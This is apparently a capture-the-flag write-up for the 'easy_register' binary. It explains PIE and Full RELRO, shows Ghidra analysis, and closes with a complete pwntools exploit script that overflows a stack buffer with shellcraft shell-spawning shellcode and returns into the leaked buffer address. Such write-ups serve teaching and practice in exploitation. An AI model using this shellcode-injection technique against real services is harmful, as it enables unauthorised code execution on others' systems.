# Easy Register

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fjtoovf6MLKdV0qZLxsHR%2Fimage.png?alt=media&#x26;token=c955a3c0-fd85-429e-9752-a75ac134eb21" alt=""><figcaption></figcaption></figure></div>

{% file src="<https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FlhQGi6dIp6aFOtfUVbiU%2Feasy_register?alt=media&token=96570d98-abd3-4329-8070-50ee5c3f76bc>" %}

## <mark style="color:red;">Basic Executable Reconnaissance</mark>

the executable is not stripped which makes reverse engeneering easier because it doesnt hide function names and the executable is dynamically linked so the libc library which contains many external functions like fprintf() are not loaded within the executable but they dynamically linked at the execution time

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FHKkNfnWGXYEV5hdm4aLv%2Fimage.png?alt=media&#x26;token=a04c9875-b586-4355-b610-80143c85c19a" alt=""><figcaption></figcaption></figure></div>

we have two security configuration enabled.

### <mark style="color:blue;">PIE</mark>

`PIE Position Independent Executable` which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are. But this does not mean it's impossible to exploit

### <mark style="color:blue;">FULL RELRO</mark>

`FULL RELRO` makes the entire GOT `read-only` which removes the ability to perform a *<mark style="color:green;">"GOT overwrite"</mark>* attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run

```
checksec --file=easy_register
```

<figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fs5yOHUqF1bcTqGMvPY56%2Fimage.png?alt=media&#x26;token=77b50d41-ccc5-47c6-8747-aa866ebe6751" alt=""><figcaption></figcaption></figure>

so our purpose will be injecting shellcode somwhere in the stack and get code execution&#x20;

## <mark style="color:red;">Reverse Engineering using ghidra</mark>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FK48r3t399GoxHv92xyRd%2Fimage.png?alt=media&#x26;token=32f84f23-7e95-4bd3-93f7-f972fed4734c" alt=""><figcaption></figcaption></figure></div>

let's look for jmp esp gadget using ropper so we can use it to put our shellcode on the esp

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FZtMpAuJViDWnnDSXMcDR%2Fimage.png?alt=media&#x26;token=3d81a7ba-fd35-4f83-bf1e-f22df3aa068e" alt=""><figcaption></figcaption></figure></div>

but it didn't exist so know we will exploit the leaked buffer address and use it to execute the shellcode that will be located at the buffer memory space

### <mark style="color:blue;">Attack Plan</mark>&#x20;

overwite the buffer memory space on the stack with the shellcode generated by shellcraft and overwrite the RIP value (return address) with the address of the buffer (leaked buffer address) to return to the beginning of the shellcode and start executing it&#x20;

## <mark style="color:red;">Exploit Script using PwnTools</mark>

```python
from pwn import *

# Set up pwntools for the correct architecture
exe = './easy_register'
elf = context.binary = ELF(exe, checksec=False)

#io = remote(host, port)
io = process(exe)

offset = 88

#getting the leaked buffer variable address on the stack
data = io.recvuntil(b"at ")
stack_addr = int(io.recvuntil(b".")[:-1], 16)

# Need to pop registers at the beginning to make room on stack
#without this it will not work because the space is not enough
shellcode = asm(shellcraft.popad())
#get root
shellcode += asm(shellcraft.sh())
shellcode += asm(shellcraft.exit())

#since we don't have the jmp esp gadget we will place our shellcode in the buffer variable on the stack
#overwrite RIP with the value of the leaked buffer variable address
#so we will start from the beginning and start execuing shellcode
padding = asm('nop') * (offset - len(shellcode))

payload = flat([
	padding,    #it depends on the length of the shellcode if the shellcode length is 70 then padding is 18
	shellcode,  #our shellcode will be placed on the buffer memory location 
	stack_addr, #RIP => return to the beginning of the buffer variable to start executing shellcode
])

write("payload", payload)
io.sendlineafter(b'>', payload)

io.interactive()
```

let's run it and we have shell

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fk8nifrXvnrP30TAZLd9d%2Fimage.png?alt=media&#x26;token=18e150af-9283-4b56-a0c1-a9e02e68fb7d" alt=""><figcaption></figcaption></figure></div>
